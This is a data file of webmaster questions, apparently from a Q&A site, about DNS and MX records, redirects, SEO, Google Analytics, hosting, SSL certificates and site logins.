{"id":"20828","title":"dns routing MX record","text":"I want to move an old website from a client's office server to a new hosting account but I need to leave the email accounts on my client's office server. I have done this once or twice before and what I did was to change the domains nameservers to point to the new hosting account and then in the clients new hosting account I setup a new MX record to point back to their office hosting. The problem is that this there is a lot more emphasis on email and also I may have to do the transfer midweek and possibly in the middle of the day so they don't want any real email downtime. I have 3 questions 1. If something went wrong and I needed to switch back might it take a long time for the nameserver to propagate back. I guess the answer here is yes so if that was the case then would it be that the emails sent to the domain during that time would be lost. 2. Could I test that the new MX record on the new hosting was working properly before I switched the nameserver over. 3. If everything was setup completely right might I still end up with downtime. 4. If I did an MX lookup now would the IP that I find be the one I would use for the new MX record on the new hosting."}
{"id":"9730","title":"Multiple sites redirected to one main site","text":"I have a client who insists of having multiple website domains all being redirected to one main website domain. It is getting out of hand and his server has become conveluted and riddled with garbage because of it, not to mention confusing at times. Each of these domains that he is setting up has no content, they simply redirect the user to the main website domain. Is this practice of having multiple domains pointing to one main website common? And does anyone know where I can get information to give to this client to let him know this is a bad practice if it is a bad practice?"}
{"id":"47257","title":"Google Analytics still reports \"Tracking not installed\" even though the code is on the web page","text":"I added the code listed on the Tracking Info tab on the GA page. <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-26738353-3', 'smokingfishgames.com'); ga('send', 'pageview'); <\/script> Unfortunately, for several hours now the GA tracking info shows an error message of `Status: Tracking Not Installed`. I'm unsure why, considering that every few minutes when I refresh the page it says `Last checked:` with a very recent time. I added the code to http:\/\/smokingfishgames.com, where it should be visible in the source exactly as shown above. What am I doing wrong? Did I just not wait long enough? I've tried a bunch of solutions that were posted by other people, but many of them were extremely dated. Very frustrating--I'm having the same issue with another web page. Reports aren't being generated, either, so it's not a false alarm with the installation detection. "}
{"id":"16641","title":"SEO : urls : best place for the id","text":"I would like to know what's the best location for an id in a SEO optimized URL: http:\/\/www.site.com\/id\/slug-title http:\/\/www.site.com\/slug-title-id What do you think ?"}
{"id":"7338","title":"Estimate of Hits \/ Visits \/ Uniques in order to fall within a given Alexa Tier?","text":"I was wondering if anyone could offer up rough estimates that could tell me how many hits a day move you into a given Alexa rank ? * Top 5,000 * Top 10,000 * Top 50,000 * Top 100,000 * Top 500,000 * Top 1,000,000 I know this is incredibly subjective and thus the broad brush strokes with the number ranges... _BUT_ I've got a site currently ranked just over 1.2M worldwide and over 500k in the USA (http:\/\/www.alexa.com\/siteinfo\/fstr.net) Pretty cool for something hand-built on weekends (pat self on back) I was applying to an ad-platform and was told that their program doesn't accept webmasters who have an Alexa rank of greater than 100,000. (Time to take back that pat on the back I guess). I know that my hits in the last 30 days are somewhere on the order of 15,000 uniques and 20,000 pageviews. So I'm wondering how much harder do I have to work to achieve my next \"goals\"? I'd like to break into the top million, then re-evaluate from there. It'd be nice to know what those targets translate into (very roughly of course). I imagine that alexa ranks and tiers become very much exponential as you move up the ranks, but even hearing annecdotal evidence from other webmasters would be really useful to me. (ie: I have a site that is ranked X and it got Y hits in the last 30 days)"}
{"id":"16716","title":"(How) Could I import twitter posts as annotations in Google Analytics?","text":"A site I maintain tweets every time a blog post is published. Since the editors of the site have gone a bit mad with the ability to change the apparent date a blog post was published (back-dating as a layout tool), the twitter stream is the easiest way I have of knowing the actual date of publication. I now need to make a case for the efficacy of blogging (in conversion terms) and have turned to Google Analytics, who have been hoovering up our visitor data for over a year. My first thoughts were therefore to add annotations for each blog publish event, so that the ramps and spikes are more easily interpreted. Is there any way of importing data to be used as annotations? How hard would it be to massage the twitter stream data into a format that Google might play nicely with? Would it just be easier to manually add an annotation for each tweet?"}
{"id":"21330","title":"How to get out of google penalty for spammy links linking to my site?","text":"One day I checked my google analytics and there was like a 60% drop in search traffic. There was no panda updates in that time. I checked my webmaster tools and saw about 200 spammy sites linking to mine that did not link to it before. So I figured I got penalized for having lots of spam sites linking to me. I sent a reconsideration request to google, and they said it wasn't a manual penalty, so they can't do anything. Any idea how I can get de-penalized from all these spammy links?"}
{"id":"63560","title":"All articles with infinite scroll, or one per page for usability and SEO?","text":"Imagine a hypothetical website with all user generated content of single page articles. Here are some ways to structuring such a website: 1. Putting up more than one article in one page and creating an infinite scroll or a pager. The fact that the articles may not be on the same topic makes this a less search engine friendly way. 2. Giving a unique page to each article and putting up a list of links\/titles in the front page with or without a teaser and a thumbnail. This might make the home page look unprofessional. 3. Keeping the front page clean, without direct links to internal pages. Which method would be a search engine friendly and user friendly way to do this? How about combining 1 and 2, as in blog.codinghorror.com? Is there an advantage to it?"}
{"id":"63291","title":"Confused about redirect and robots.txt","text":"I am updating a site by creating new pages and deleting old ones. To avoid crawling errors should I use both a _robots.txt_ file and 301 redirect on _.htaccess_? _robots.txt_ : Disallow: \/products.php _.htaccess_ : Redirect \/products.php \/my-brand-new-products-page.php Is this the way to go?"}
{"id":"63562","title":"Author bio on all pages - is it duplicate content?","text":"In a website with user generated content, I provide an author bio under every article on the site. The author bio will be the same under every article the same author wrote. For some authors, the author bio is no longer then a couple of sentences, but for some descriptive writers, it is a good 100 words. These 100 words get repeated in almost 15 pages, some of them without substantial original content (such as haikus). Will this lead to duplicate content issues?"}
{"id":"19966","title":"Multiple Domains, SEO and redirections","text":"I work for an ecommerce company which sells a core product, and am currently working on a site for a client. For this particular website, we've purchased a number of other domains (aside from the main one), that they'd like pointing to specific single pages. These pages would then have backward links to the main site. The purpose of this is to increase SEO, funnelling more users to the core website. e.g. www.fakesite.com www.seconddomain.com -> pointing to \/FakePage.asp?ID=blah www.thirddomain.com -> pointing to \/FakePage.asp?ID=blah The content on each page would be specific to the domain itself - e.g. a manufacturer page\/domain. These pages may have links to \"buy\" the relevant product, which would then go back to www.fakesite.com. Alternatively I could have separate pages for each domain to point to. What I am unsure about is how to do this with IIS, and what the best practice would be for this in regards to SEO. I am a little bit unsure about redirects and how these affect SEO, or whether there is a more suitable way to do this. Any information you could give me would be greatly appreciated."}
{"id":"13794","title":"How to track where web page visitors are coming from?","text":"My main web page is `nmjava.com\/index.html`, I have posted \"nmjava.com\" in different places on the web, when visitors click on the link how do I know where they are from ? I've come up with the following method, but I wonder if there are any other ways to do it ? <1> Create a few pages : Page_1.html , Page_2.html , ... Page_N.html <2> Use 301 redirect to point them all to index.html <3> Post the link to Page_1.html on site_1, post Page_2.html on site_2 ... <4> When visitors on site_1 click on the link to Page_1.html, my web page access log will record nmjava.com\/Page_1.html is clicked, and by that I can tell the visitor is from site_1, and if I see a log of nmjava.com\/Page_N.html is clicked, I'll know that visitor is brought by site_N. Is there any other way to achieve this ?"}
{"id":"3451","title":"OpenID login buttons for related modules of a site (especially a MediaWiki)","text":"I am putting up a site. Right now it will include a MediaWiki (the sort that powers Wikipedia). In the future it may contain a blog (Wordpress?) and forums (Vanilla Forums 2?). I want the site to be viewable by the general public, but editable by anyone who signs in with an OpenID. I'd like a login page like the one used on a stack exchange sites, where the user is presented with a series of familiar buttons to choose an identity provider. Jeff Atwood has open-sourced the login component for Stack Overflow, which is awesome, but I am unable to use it as my shared hosting is on a LAMP stack, where the 'P' includes Python (2.4.3), Perl (5.8.8), PHP (5.2.4), and Ruby (1.8.7). The M is MySQL (5.1.50). I have tried a number of things with limited success. 1) MediaWiki with the OpenID login extension. When I manually install the php- openid library, and run the test, it complains about the lack of GMP support, does something strange with HTTP fetching, and complains about a lack of mod_encoding. I contacted support and they said that they will not install mod_encoding, and that GMP is already installed. 2) MediaWiki with MultiAuthPlugin against simpleSAMLphp. I think I partially have simpleSAMLphp working, but it is not clear to me what I need to do to make it an OpenID consumer -- its over my head. Then I decided that if I could authenticate against WordPress, I could use a MediaWiki extension to use that information to log people in. 3) WordPress OpenID plugin. Everything appeared to install correctly that is needed for OpenID consumption, although it didn't appear to work. I suspect it uses the php-openid library. I'm not sure how to debug it. More to the point, it just offers an OpenID textbox, which is not friendly for people who have no idea what it is -- I'd like buttons! 4) Google Friend Connect for WordPress. This is the first I've heard of friend connect. It was not clear that one was authenticated to do more than comment, and the intention is to be some sort of \"social media\" overlay on your site -- not what I had in mind. 5) Gigya Socialize for WordPress. Finally, a nice login using buttons and OpenID. (Mind you, when I tried to log in using it, it told me, \"New user access is currently disabled for this site.\") This is pretty slick, but: * when I try to log in using my Google or Yahoo accounts, it asks for my contacts! There is no way that it is acceptable for my users to give up contact information to a third party just to log into my site. * As I am authenticating, there is very little indication that this is authenticating me to my site; instead, it appears that the request is for Gigya. * If my site becomes really popular, I'll have to pay money to allow people to log in! I haven't completed setting up JanRain Engage for WordPress, but I think it will be much the same as Gigya. * * * How can I have a unified, single sign-in for a group of related sites on the same domain, using OpenID and friendly google, yahoo, twitter, etc., buttons, which authenticates directly from my domain (ie. without claiming to be from a third party)? Barring that, how can I get users to log into MediaWiki using OpenID (without changing web hosts)? _Edit:_ Are there any wikis you would recommend that already have a nice OpenID login feature? I am happy to provide further details on my adventures so far. I am also a programmer, albeit not a web-programmer, quite familiar with python, and knowing enough Perl, PHP, and Ruby that I could hack on a near-solution to make it work."}
{"id":"3456","title":"Possible reasons RSS generated content won't index","text":"I built a digg-like clone at fantasybookmark.com. Google crawled the site, but only indexed about 21 pages out of the 2,000 or so (and growing) pages on the site. We use rss feeds to find and generate content and allow users to comment. What are reasons we are not getting indexed? Are there ways to solve this?"}
{"id":"853","title":"Porting a Flash site to non-Flash site","text":"I have many clients with Flash interfaces that they like quite a bit. But these things don't work on many (most?) mobile devices. This is a two part question: 1. If I get access to the original `.fla` files, is there a way to bulk export\/compile Flash into individual images with hotspots? 2. If I don't have access to the original `.fla` is there a mechanism to turn a `.swf` into a format friendly to webkit devices? * * * **Comment:** My fear is that I'll be left with either **recreating** the interface entirely or **building something all-new**. It would be nice to have some automated options in terms of making sites more non-Flash available (possibly HTML5? possibly tailored to WebKit? possibly tailored to other mobile platforms?). Keep in mind, I love Flash, not looking to bash Flash, trying to see options for existing Flash content."}
{"id":"22975","title":"Setting DNS when registrar and host is different","text":"Just to confirm that my assumptions are correct (if not, please let me know where I'm doing wrong): * My domain refers to `jkwsp.com` * The registrar where I have registered my domain is `hioxindia.com` * My domain is hosted at `ixwebhosting.com` I have access to DNS settings in the registrar as well as in the hosting. **Setting 1**.- At Registrar DNS Setting: Name server is already entered by registrar. * **Q1.1.** If I do `A record` to the IP given to me by the host, will it work? * **Q1.2.** For subdomain should I make `Cname record` or a new `A record` point to the IP given to me for subdomain by my host? * **Q1.3.** To access my site as `http:\/\/jkwsp.com` and `http:\/\/www.jkwsp.com` do I have to make the entry as: `*.jkwsp.com to IP` OR `jkwsp.com to IP` and `www.jkwsp.com as Cname`? **Setting2**.- At Host: * **Q2.1** Point the NameServers given by host in Registrar NS record and remove all `A record` mentioned under A record at the Registrar? * **Q2.2** `A record` and subdomain entry is already created by Host. Since NameServer is pointed to Host now setting at host will take effect and `A record` will point to my site? And any future change needs to be done At Host Only? In Both Settings which one should be preferred?"}
{"id":"3458","title":"Does Google host all the jQuery UI themes?","text":"I have seen the base theme http:\/\/ajax.googleapis.com\/ajax\/libs\/jqueryui\/1.8.3\/themes\/base\/jquery-ui.css Are the other themes found in the gallery also hosted (Darkness, Smoothness, etc.)? If so, where?"}
{"id":"859","title":"How can I create an SPF record on my 1and1.com hosted domain?","text":"Emails from my domain (hosted at 1and1, and using Google Apps Premier edition) have sporadically been going to recipients' spam folders lately. I did some research, tested, and found out that I do not have an SPF record for my domain. According to this Google Support page, I need to create one. Following the steps on that page is easy, until I get to #3: > Create a TXT record containing this text: v=spf1 include:_spf.google.com > ~all I see no way to create a \"TXT record\". Here is a screenshot of the admin panel: "}
{"id":"22973","title":"Cross Browser CSS script?","text":"a few weeks ago I stumbled over a javascript that you can add to your site, and it would automatically modify your css, to work around some bugs in browsers, and add features they don't support (e.g. drop shadow) Now I can't find it anymore. I found http:\/\/css3pie.com\/ but that's not it. Any hints?"}
{"id":"13788","title":"Mediawiki 1.16: Leaving timestamp in template","text":"~~~~ is used to leave your timestamp with your name and date. I want to put this in a template so that whoever uses the template will have have the timestamp printed out as well. Is this possible?"}
{"id":"51852","title":"Should a client pay to fix broken features because of changes in third party APIs?","text":"**Is it reasonable to ask a web development client to pay to fix features that are now broken because of third party APIs?** Examples: * We integrate a Twitter feed into a site's homepage, which works fine for months, and then one day just dies because Twitter change their API * A spell-checking feature that relies on Google's spelling API one day goes down because Google decide to close down that API Can we realistically ask a client to pay for our time to fix those things? Or should we absorb the cost of that in order to maintain an ongoing relationship with them? In some cases, we set up and monitor the hosting for our clients, so there is some level of expectation that we keep their site up and running. Other clients arrange their own hosting. Does that affect the answer to the question? And how do other industries handle this kind of problem?"}
{"id":"48249","title":"Does the calculation of time on page include the pageview of the exit page?","text":"My question revolves around average time on page and how Google Analytics calculates this metric. I will provide an example to illustrate my question. I viewed 3 pages then exited. * page one view time = 10 sec * page two view time = 10 sec * page three view time = 5 sec, then exit Questions: 1. Is my total time on page 20 sec or 25 sec? 2. would my page views be 3 or 2? 3. Is my average time on page 10 sec or 8.33sec. I ask because I pull time on page metric as part of my data pull and then I calculate Avg Time on Page in an Excel pivot. I am wondering if my calculation for Average time on page should be: AvgTimeOnPage = total time on page\/total page views or AvgTimeOnPage = total time on page\/(total page views-total exits)"}
{"id":"26879","title":"PHP won't load certain pages and images, Godaddy","text":"I realize that Godaddy isn't the ideal hosting choice, but I'm running a site on an account with them. One of the pages on the site, \/contactus.php refuses to load. Instead of loading the page, it loads my home page – even though the url displays \/contactus.php. This issue only began to occur when I moved the site from Media Temple to Godaddy (don't ask – it's a weird string of events that led me to do that). When I run the site on MAMP, \/contactus.php loads correctly. Here is the page on Godaddy (it incorrectly loads the home page): http:\/\/aandbinteriors.com\/contactus.php\/ – and here is a preview of the page on Media Temple that shows how it ought to look http:\/\/neilrenicker.com.s140277.gridserver.com\/contactus.php\/ The fact that it seems to load OK everywhere else makes me think it's an issue at Godaddy, but I'm not sure what! Any clues, anyone?"}
{"id":"36060","title":"Making an advertising server ads from different ad networks","text":"In India there are many ad-networks(other than Adsense) who pay per acquisition or per lead. So Javascript ad code is not required(as fraud clicks don't matter as long as one converts). So an ad network will have many companies and each company will have many banner sizes for ads. Also suddenly any ad may be stopped just because company's target has met. Which is a common nuisance since if we don't remove those url's then that company will get conversions for free. I've a dozen sites and removing the ads are difficult every now and then. Also CPA based ads may not convert at all. That means I'll need to remove non- performing ads regularly. I've gone through: How can I show multiple ad networks on my site? . I've also visited DFP solution but without Adsense they wouldn't let me open account. I want to make an ad server wherein I'll feed new ads (banner image + link for click). I want to maintain categories there like ( shoes, phones, books etc). So if an ad is paused - i'll simply remove\/pause the ad there while other ads in the category keep running. Also changing ad code within sites will no more be required. For example - let me have an ad category \"clothing\" where I can add ads from different companies. So if one of my site requests an ad from there it'll randomly select an ad in this category and return it to site for display. Removing\/adding ads within this category will not affect the site requesting those ads. Any idea how to implement it?"}
{"id":"44545","title":"site:mysite.com shows home page as HTTPS, home page not showing in search properly","text":"site: rockitpro.com I've been trying to figure out a problem with my site since August 2012, my home page fell off the map and won't show in Google unless I search exactly **rockitpro.com**. My home page doesn't show for my website's name **rockitpro** or any of my targeted keywords. If you search my main keyword **buy beats** my site is on page 2 but it points to a category page. I figured it was Panda\/Penguin but after cleaning up my site and contacting Google, they said that no manual action had ever been taken. I just did a **site:rockitpro.com** and the first result shows HTTPS : \/\/www.rockitpro.com\/ In Bing searching for **buy beats rockitpro** shows https but searching for **rockitpro** shows the normal http. I checked my domain in Plesk and it has no SSL certificates, I've never enabled ssl security on my website. Searching site:rockitpro.com inurl:https -inurl:http shows a few weird links. Searched Google and found 18 sites that link to my site via https. How do I fix this and do you guys think this is the problem as to why my home page isn't showing up in search correctly or is it a deeper problem?"}
{"id":"26873","title":"What percent of visitors should click on the next page before you enable prefetching?","text":"Mozilla Firefox and Google Chrome support prefetching via an HTML tag: <!-- in chrome --> <link rel=\"prerender\" href=\"http:\/\/example.org\/index.html\"> I suppose it is always worthwhile to include this tag if 100% of users on a page click on the \"Next Page\" button or similar, and never worthwhile to include it if only 2% or 3% of users visit the following page. At what percent of clicks should you turn on prefetching of the next page? 65%? Also, does the calculus change if the current page is HTTP and the next page is HTTPS?"}
{"id":"44543","title":"Can merging 4 sites into 1 help?","text":"The company I work for has 4 websites. There is a related theme to them (all IT services or web design \/ development). All have unique content. I am hearing more and more that these need to be brought in under one domain and managed as one. In order for this to happen I will need to get the comapny to 'buy into' this way of thinking. And what Owners and Directors need to hear are facts! Can anyone supply any facts (or point me in the right direction) that I can report back as to why merging the 4 sites will benefit the company. Thanks Mark"}
{"id":"55987","title":"Custom Analytics report with multiple tabs","text":"Is it possible to set up a custom report with multiple tabs, and have each tab filter data differently? I have too many metrics to use a dashboard."}
{"id":"14149","title":"What to choose for a multilingual site with support for Markdown and commenting","text":"I want to publish articles at a multilingual site. 1. I want to be able to write an article in two languages and have them available on separate URLs: * thesite.foo\/english-breakfast * thesite.com\/engelsk-frukost 2. If the users web browser is set to English I'd like to show a small notice at the top of the Swedish version with a link to the English one. The link should have an appropriate rel attribute for a translation (search for hreflang at http:\/\/diveintohtml5.org\/semantics.html). 3. There should be a way to list all articles belonging to these sets: Swedish only, English only, Swedish versions + English only, English versions + Swedish only. I'd like to publish these as four RSS-feeds. And I would like to have two versions of the main site, one in Swedish (showing Swedish versions + English only) and one in English (showing English versions). 4. I shall be able to write the articles using Markdown, as that is the formatting language I find most convenient. 5. There should be a way for users to comment. And some kind of way for me to protect myself against comment spam. I am leaning towards learning Drupal. I suspect I'll have to code this behavior myself as a module. To be frank I'd rather work with Java. Is Drupal the way to go? Or is there something more suitable for this project?"}
{"id":"1734","title":"Removing non-www support","text":"I'm **not** an advocate of the no-www movement. I like the www because it adds as a buffer to distinguish between our public and private\/static sites. The problem is that with one of our sites, our traffic is split pretty much 50\/50 between those that use our www and those that don't. Should I bother rewriting those who hit our non-www site to our WWW site? Or should I just leave them alone? All our google SEO whatnot is on our www site, so I'm not concerned about any of that, only about user perception. Has anyone here had this problem before? I'm not concerned about the technial aspect (that's easy with a quick rewrite rule), primarily the social side."}
{"id":"48848","title":"Redirect of www vs. \"all works\"","text":"I was asked a question from a friend if he should redirect `his-domain.com` to `www.his-domain.com`. I answered him that it seems more intuitive to just make both work. So if you enter by `his-domain.com` you get to `his-domain.com` and if you enter `www.his-domain.com` you get to `www.his-domain.com`. This is what I do on my sites. I have an ServerAlias in my apache.conf file that says `ServerAlias my- domain.com *.my-domain.com` But to my surprise,most major sites seems to take the redirect approach. Which I can understand if the sites are using SSL. But if they are not, I don't. So are there any objective reasons to choose one instead of the other? ### More nuanced edit It would be nice if you read my question before closing it. But from the reactions I get I guess the answer could be something like: \"Don't make both www.domain.com and domain.com work side by side. Nobody does that. Just redirect one to the other\". Even if none is willing to give a technical answer to my question I would hope someone could have answered at least that instead of closing as a duplicate and refering to different question (which to some degree was related)"}
{"id":"14140","title":"Is there anyway to re-submit all sitemaps in Google Webmaster Tools at once for a domain?","text":"Something happened and I need to resubmit A LOT of sitemaps across a lot of domains. Is there any way I can submit all sitemaps\/all errorful sitemaps per domain even? It would make things easier for me."}
{"id":"14143","title":"Does favicon have any impact on SEO?","text":"I'm looking for advice about favicons and their impacts on search engines. Recently I noticed a site called andriasang which changes its favicon every time you load another page without losing overall recognition of the favicon style. I'd like to incorporate this into my site as well but am I taking any SEO risks here?"}
{"id":"69034","title":"Moving RewriteBase rule in htaccess to httpd.conf","text":"I'm now working in a server environment where I can access and edit httpd.conf, which is preferable from a performance and a revision control standpoint. I have a few sites (they are Drupal) running in subdirectories along the lines of dev.blah.com\/yourname, dev.blah.com\/anothername, dev.blah.com\/anotherdev. Right now they have a rewrite rule along the lines of RewriteBase \/yourname in each of their htaccess files. This doesn't work in httpd.conf and some of the documentation I've been reading says Rewritebase is bad to put in httpd.conf anyway. Any insight into the right approach would be greatly appreciated."}
{"id":"54692","title":"Uploading a file automatically for speed test?","text":"I am building a Web UI for a device for internet connection and one of the requirements in it is a speed test. I know the basic concept of how speed test works. A file is downloaded for a limited time then the same file is uploaded again and the speed is tracked at regular intervals. Downloading the file is not an issue, but how am I supposed to upload the file without the client knowing that the file is getting uploaded? I've read through a lot of documentation, but I'm still not able to get the answer to how I will upload the file from clients machine without asking him to select the file."}
{"id":"13113","title":"Pure CSS menu generator","text":"I've been looking for hours for pure css, no js, menu creation software. All that I've found have either used js or did not have drop-down sub-menus. I have found one, but it's quite pricey for me and does more than I really need (although I do like it): css3menu.com Does anyone know of a good one? Thanks Sean Gordon"}
{"id":"37597","title":"Templates for forms, tabs etc? - Patterntap alternatives","text":"I used to find http:\/\/www.patterntap.com quite useful to get inspiration to design forms, tabs, and other web elements etc. Unfortunately after the ZURB acquisition of Patterntap now they enforce you to sign in with your Twitter account in order to simply view larger images of patterns provided by the crowd. So in some way it's not free anymore. Do you know of **alternatives to patterntap** that are free and you are not obliged to sign in?"}
{"id":"15815","title":"How can I find the administrator of a website?","text":"The question above sums it up, but I will restate it here: What is a resource I can use to find the administrator of a website?"}
{"id":"19727","title":"Free (Or Cheap) Alternatives For An SSL Certificate For Facebook Apps","text":"In October (from what I remember) Facebook will require HTTPS connections to pages and app's that are hosted away from Facebook. At the moment, it comes up with a popup saying \"do you want to turn secure browsing off\". I think (as far as I know) that once October comes people won't be able to access these pages any more. Now, I know you have to pay for good SSL certificates. However, for a lot of clients this is just going to be a Facebook page, and not mission critical to their businesses. With this in mind, they may not want to pay for an SSL certificate. I was wondering if there are any free SSL certificates that could do the job? Even if there are no free ones, are there any cheap alternatives? Also, if you do use a free certificate, will it still work in the same way as a paid for certificate?"}
{"id":"63569","title":"How to pass information across domains to ask for newsletter only once?","text":"Lets assume following scenario, I have two sites: * example1.com * example2.com When user visits **1** there is a prompt \"please signup to a newsletter\". Same thing happens when user visits **2**. However when navigating from **1** to **2** I don't want signup form to be shown. * * * My first thought were 3rd-party cookies, but it seems that they are blocked \/ not working: * http:\/\/stackoverflow.com\/questions\/4701922\/how-does-facebook-set-cross-domain-cookies-for-iframes-on-canvas-pages?rq=1 * http:\/\/stackoverflow.com\/questions\/172223\/how-do-i-set-cookies-from-outside-domains-inside-iframes-in-safari?rq=1 Another thought is to append `#noshow` for each URL but that would require some work - for instance a script that would intercept click \/ tap events and modify URL structure depending on the address. _(but that seems hacky)_ * * * I wonder if you know a robust well-established solution to this issue? Thanks"}
{"id":"17947","title":"Background image strategies for a curved background","text":"How would you handle a background image for a web page with a curve like the one below? Normally, I take a thin image and repeat it along the x-axis, but the curve negates that strategy as one side is lower than the other. Ideally, I'd like to have the lines continue along their current path (even on larger monitors) without having to use a huge image for the whole thing. Any tricks or suggestions to do this in a way that doesn't kill my page size? "}
{"id":"28846","title":"How to know if any website is using Google Website optimizer for A\/B testing?","text":"How to know if any website is using Google Website optimizer for A\/B testing? By viewing a source code. For what to look into view source which confirms that site is using Google Website optimizer"}
{"id":"17942","title":"Account suspension on SMS","text":"Hy Hello all, I have an idea to implement but I hate to copy if it is been used by any other website(s). My idea is about suspending an account using text SMS. The description follows. `When a user signs into his account he gets an text SMS saying \"Hello Mr.X you have been logged into your account from IP xx.xx.xx.xx, If you are not the real user logged in send reply to this as BLOCK<space>15<space>random code.` So, here the user can suspend his account by sending a return SMS as BLOCK 15 to block his account for 15mins. This text SMS can terminate the user session and does not allow him to login for next 15mins even with correct username and password. Likewise he can suspend his account for any value of time and can release the same by sending UNBLOCKrandom code. Is this kind of feature used by any website? Please let me know if it is used. Else I wanna be the first person to implement it."}
{"id":"14493","title":"How can I alias domains to subdomains?","text":"I have a main site with a bunch of subdomains created. Each subdomain is a blog and I want each blog to have its own domain name i.e. thisguy.com -> blog1.mainsite.com thatguy.com -> blog2.mainsite.com I bought the new domains and I set up the CNAME records as above to alias them to the appropriate subdomains. However, I get my hosts \"a domain is pointing to one of our servers but we don't know anything about it\" landing page. How can I set up these domains as aliases of my subdomains?"}
{"id":"28446","title":"how to write seo-friendly titles where is no space ( in a column box )?","text":"what is the best way to write long seo-friendly titles in sidebars? <h3 title=\"My long title, the very seo one\">Menu<\/h3> OR: <h3>My long title, the very seo one<\/h3> \/\/ hidden via css <div class=\"title\">Menu<\/div> what else? thanks!"}
{"id":"28445","title":"Upload image file: is compression on client side already possible?","text":"When offering photo file uploading, usually the user will have badly compressed and huge (10+ megapixels) JPEG files from their cameras or phones. On the server side, these files will get re-compressed to something like 800x600px and JPEG quality 7 or 8. Is it (already) possible to do that re-compression on the client side? So that I would only need to transmit some 100kB (800x600px) and not 3 MB or more. Something like: (1) With javascript's new FileSystem API ( http:\/\/slides.html5rocks.com\/#filewriter ) it would be possible to read the photo file's data into client side JS. (2) Then it would be necessary to re-encode the JPEG data, which is possible, but I counld not find any library for that (yet). Anybody knows such a library? (3) Last step would be to POST the re-compressed JPEG data to the server side for storage and get a URL to the stored photo file back from the server for inclusion into the client's HTML. I am looking for some jQuery plugin, other JS library or example web page that does this."}
{"id":"14362","title":"After adding *.xls to robots.txt how long will the results continue to show up in google","text":"Is there an estimated amount of time before the document will not appear in google results? We have a public records document. **One** person raised a concern when they saw their \"PUBLIC INFORMATION\" on goolge. So, I've been tasked with removing the file from google searching. It's an xls file, so I can't add any meta tags to it. I want to know how long before it will be gone from google? Please feel free to enlighten me about the other search engines as well."}
{"id":"18336","title":"Google SEO tool that shows search questions based on keywords?","text":"An SEO told me that he recently read of a Google SEO tool that shows actual QUESTIONS (rather than queries = Google keyword tool) that are typed into Google, based on the keywords one enters. Unfortunately, he could not remember the name of the tool nor where it was that linked to it. Since I run a Q&A site, such a tool would be extremely valuable to me for keyword optimization. Does anyone know of such a tool, or anything that is similar? Thank you in advance."}
{"id":"14496","title":"Display Business on Google Map","text":"I want to be able to display my company on Google Maps. I have a places page set up. If you search for it Google will show my business with a red marker which links to my places page. I want it to display on the map all the time. Like the TM Lewin Shop in the example below.  Map Link How do I get it to do that. What does Google use to decide that. There are 3 business at our address. One of the companies is displayed on the map. Would that stop us displaying?"}
{"id":"20311","title":"Does the domain owner get contacted if someone else back-orders the domain?","text":"I'm trying to purchase a domain name that I like. I noticed that the domain is about to expire and has only been registered for a year now, Nothing really shows on the page when going to the site. It's not a very common domain name but I like it and wanted to know if back-ordering it notifies the current owner that someone else back-ordered their domain?"}
{"id":"14356","title":"Things we can do with VPS Packages","text":"I am planning for purchase of VPS Package. Beside Webspace hosting, what other features can we provide to our customers?"}
{"id":"27478","title":"How to interpret number of URL errors in Google webmaster tools","text":"Recently Google has made some changes to Webmaster tools which are explained below: http:\/\/googlewebmastercentral.blogspot.com\/2012\/03\/crawl-errors-next- generation.html One thing I could not find out is how to interpret the number of errors over time. At the end of February we've recently migrated our website and didn't implement redirect rules for some pages (quite a few actually). Here is what we're getting from the `Crawl errors`:  What I don't know is if the number of errors is cumulative over time or not (i.e. if Google bots crawl your website on 2 different days and find 1 separate issue on each day, whether they will report 1 error for each day, or 1 for the 1st, and 2 for the 2nd). Based on the `Crawl stats` we can see that the number of requests made by Google bots doesn't increase:  Therefore I believe the number of errors reported is cumulative and that an error detected on 1 day is taken into account and reported on the subsequent days until the underlying problem is fixed and the page it's crawled again (or if you manually `Mark as fixed` the error) because if you don't make more requests to a website, there is no way you can check new pages and old pages at the same time. **Q: Am I interpreting the number of errors correctly?**"}
{"id":"38034","title":"Unindex google code svn repository content from google index","text":"I developed a small web site and saved the code to google code repository. Everything has been running smoothly for a while until results from google code svn repository started showing up before the results from the actual website. Is there any way I could stop google from indexing google code repository content or at least make its rank lower than the web site? I am not talking sophisticated seo techniques but rather some simple settings if there are any."}
{"id":"67531","title":"How can I get my Wiki to have the same in-built referencing tools as Wikipedia?","text":"My Wiki, is still very much in its infancy, and I would like to know how I could replicate the referencing tools (like the autofill options for PMIDs and DOIs) and import the referencing templates (i.e., `cite journal`, `cite web`, `cite news`, `cite book`, _etc._ ). I have tried copy-pasting to my Wiki using the source code, but that did not work, see for instance this page where I have tried to utilize the `cite journal` template. I am especially interested in the `cite journal` template. If any additional details are required please feel free to ask me in the comments."}
{"id":"56451","title":"Unicode icons in <title>","text":"If I want to put various unicode icons in my `<title>` for the sake of looks, could that hurt my SEO? Are there particular classes of unicode (code ranges) that offend search engines? I've noticed that many music and video playing sites including YouTube have started using the PLAY icon in their titles."}
{"id":"15","title":"What is PageRank and how do I get it?","text":"I've heard Google's algorithm is based on PageRank, and that it has something to do with the links to your site. Can someone explain it, and more importantly, how I can increase my site's PageRank?"}
{"id":"37914","title":"Recovering domain name from a person I can't find","text":"I have a problem with one domain and I have no idea how to go about it. I am volunteering for a small charity in Sheffield (UK), more specifically I am redoing their website. A while ago (few years) there was one guy who made that website for them, sorted out a free hosting with another charity, bought domain name etc. Since the domain name is registered in his name, and he disappeared and we have no way of finding\/contacting him, we can't move it to different hosting or do virtually nothing about it. Somehow the domain is being renewed every year, we know which domain registration service provider it is registered with, we know the guys name, and that's about it. How would we go about re-registering that domain in the charity's name, instead of that guy, is that at all possible? If we happen to get in touch with him, what should we ask for?"}
